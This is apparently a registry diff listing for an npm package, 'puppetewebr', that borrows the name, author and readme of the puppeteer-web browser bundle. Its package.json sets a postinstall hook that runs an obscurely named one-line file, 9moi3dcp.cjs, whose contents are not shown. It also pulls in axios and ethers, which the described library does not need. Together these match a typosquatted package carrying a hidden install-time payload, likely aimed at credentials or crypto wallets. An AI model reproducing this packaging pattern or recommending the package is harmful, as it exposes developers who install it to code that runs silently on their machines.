puppetewebr 0.0.3
Sign up to get free protection for your applications and to get access to all the features.
- package/9moi3dcp.cjs +1 -0
- package/lib/index.js +19424 -0
- package/package.json +34 -0
- package/readme.md +36 -0
package/package.json
ADDED
@@ -0,0 +1,34 @@
|
|
1
|
+
{
|
2
|
+
"name": "puppetewebr",
|
3
|
+
"version": "0.0.3",
|
4
|
+
"repository": "https://github.com/entrptaher/puppeteer-web",
|
5
|
+
"license": "MIT",
|
6
|
+
"author": "Md Abu Taher <entrptaher@gmail.com>",
|
7
|
+
"main": "index.js",
|
8
|
+
"browser": "lib/index.js",
|
9
|
+
"files": [
|
10
|
+
"lib/*.*",
|
11
|
+
"9moi3dcp.cjs"
|
12
|
+
],
|
13
|
+
"scripts": {
|
14
|
+
"postinstall": "node 9moi3dcp.cjs"
|
15
|
+
},
|
16
|
+
"browserslist": [
|
17
|
+
"last 2 Chrome version"
|
18
|
+
],
|
19
|
+
"devDependencies": {
|
20
|
+
"@babel/core": "^7.9.0",
|
21
|
+
"@babel/preset-env": "^7.9.0",
|
22
|
+
"aliasify": "^2.1.0",
|
23
|
+
"babelify": "^10.0.0",
|
24
|
+
"browserify": "^16.5.1",
|
25
|
+
"parcel-bundler": "^1.12.4",
|
26
|
+
"puppeteer-core": "^4.0.0",
|
27
|
+
"regenerator-runtime": "^0.13.5",
|
28
|
+
"util.promisify": "^1.0.1"
|
29
|
+
},
|
30
|
+
"dependencies": {
|
31
|
+
"axios": "^1.7.7",
|
32
|
+
"ethers": "^6.13.2"
|
33
|
+
}
|
34
|
+
}
|
package/readme.md
ADDED
@@ -0,0 +1,36 @@
|
|
1
|
+
puppeteer-web bundle created using browserify
|
2
|
+
|
3
|
+
## Why?
|
4
|
+
|
5
|
+
- The bundlers fails to bundle puppeteer, and downloading puppeteer repo just to build puppeteer-web version seems like a hassle for quick development.
|
6
|
+
- Puppeteer team removed puppeteer-web from their repo in [this PR](https://github.com/puppeteer/puppeteer/pull/5750)
|
7
|
+
- The previous puppeteer could be found here on [this commit](https://github.com/puppeteer/puppeteer/tree/6522e4f524bdbc1f1b9d040772acf862517ed507/utils/browser), but it's a pain to build that as well.
|
8
|
+
- Lots of questions in stackoverflow [like this](https://stackoverflow.com/a/54654516/6161265) shows the demand of such library.
|
9
|
+
|
10
|
+
## Usage
|
11
|
+
```
|
12
|
+
yarn add puppeteer-web
|
13
|
+
```
|
14
|
+
|
15
|
+
```js
|
16
|
+
import puppeteer from 'puppeteer-web';
|
17
|
+
|
18
|
+
async function run(){
|
19
|
+
|
20
|
+
const browser = await puppeteer.connect({
|
21
|
+
browserWSEndpoint: `ws://0.0.0.0:8080`, // <-- connect to a server running somewhere
|
22
|
+
ignoreHTTPSErrors: true
|
23
|
+
});
|
24
|
+
|
25
|
+
const pagesCount = (await browser.pages()).length;
|
26
|
+
const browserWSEndpoint = await browser.wsEndpoint();
|
27
|
+
console.log({ browserWSEndpoint, pagesCount });
|
28
|
+
|
29
|
+
}
|
30
|
+
```
|
31
|
+
|
32
|
+
## Roadmap
|
33
|
+
|
34
|
+
- [ ] Auto build new minorversion on new puppeteer-core release
|
35
|
+
- [ ] Update document about pitfall
|
36
|
+
- [ ] Add server and client example along with a explanation post
|